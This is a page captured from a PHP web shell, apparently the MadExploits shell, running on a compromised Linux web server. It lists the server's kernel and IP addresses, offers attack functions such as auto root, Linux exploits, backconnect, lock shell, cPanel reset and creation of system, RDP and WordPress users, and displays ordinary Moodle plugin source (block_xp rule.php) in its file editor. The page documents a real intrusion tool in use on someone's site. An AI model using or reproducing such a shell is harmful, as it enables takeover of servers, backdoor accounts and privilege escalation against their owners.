Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.100.66
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
xp /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
event
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
privacy
[ DIR ]
drwxr-xr-x
task
[ DIR ]
drwxr-xr-x
di.php
2.29
KB
-rw-r--r--
external.php
14.79
KB
-rw-r--r--
filter.php
10.08
KB
-rw-r--r--
rule.php
4.73
KB
-rw-r--r--
rule_base.php
6.37
KB
-rw-r--r--
rule_cm.php
7.51
KB
-rw-r--r--
rule_event.php
4.53
KB
-rw-r--r--
rule_property.php
3.96
KB
-rw-r--r--
ruleset.php
6.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rule.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Rule interface. * * @package block_xp * @copyright 2014 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Rule interface. * * @package block_xp * @copyright 2014 Frédéric Massart - FMCorz.net * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ abstract class block_xp_rule implements renderable { /** * Create a ruleset object from exported data. * * This method helps restoring a tree of rules without having to check * what the first rule is. Simply call block_xp_rule::create($properties). * * This then calls the method {@link self::import()}. * * @param array $properties Array of properties acquired from {@link self::export()}. * @return block_xp_rule|false The rule object. */ public static function create(array $properties) { $classname = $properties['_class']; if (!class_exists($classname) || !is_subclass_of($classname, 'block_xp_rule')) { return false; } $class = new $classname(); unset($properties['_class']); $class->import($properties); return $class; } /** * Returns a string describing the rule. * * @return string */ abstract public function get_description(); /** * Returns a form element for this rule. * * This MUST be extended, and this MUST be called. * * @param string $basename The form element base name. * @return string */ public function get_form($basename) { return html_writer::empty_tag('input', array('type' => 'hidden', 'name' => $basename . '[_class]', 'value' => get_class($this))); } /** * Get the renderer. * * Somes rules seem to be making use of the renderer, but the renderer should * not be initialised with the object, so we it's best that we provide a * method to get the renderer instead of letting each rule decide of the best * way to load it. * * @return renderer_base */ protected function get_renderer() { return \block_xp\di::get('renderer'); } /** * Export the properties and their values. * * This must return all the values required by the {@link self::import()} method. * It also must include the key '_class'. * * You will have to override this method to add more data, and handle special keys. * * @return array Keys are properties, values are the values. */ public function export() { return array('_class' => get_class($this)); } /** * Re-import the values that were exported. * * This should not be called directly, use {@link self::create()} instead. * * Override this method to handle special keys. * * @param array $properties Properties. * @return void */ protected function import(array $properties) { foreach ($properties as $key => $value) { $this->$key = $value; } } /** * Does the $subject match the rules. * * @param mixed $subject The subject of the comparison. * @return bool Whether or not it matches. */ abstract public function match($subject); /** * Update the rule after a restore. * * @return void */ public function update_after_restore($restoreid, $courseid, base_logger $logger) { } /** * Validate the data. * * @param array $data The data to validate. * @return bool */ public static function validate_data($data) { $valid = true; foreach ($data as $key => $value) { if (!$valid) { break; } if ($key === '_class') { $reflexion = new ReflectionClass($value); $valid = $reflexion->isSubclassOf('block_xp_rule'); } else if (is_array($value)) { $valid = self::validate_data($value); } } return $valid; } }
Close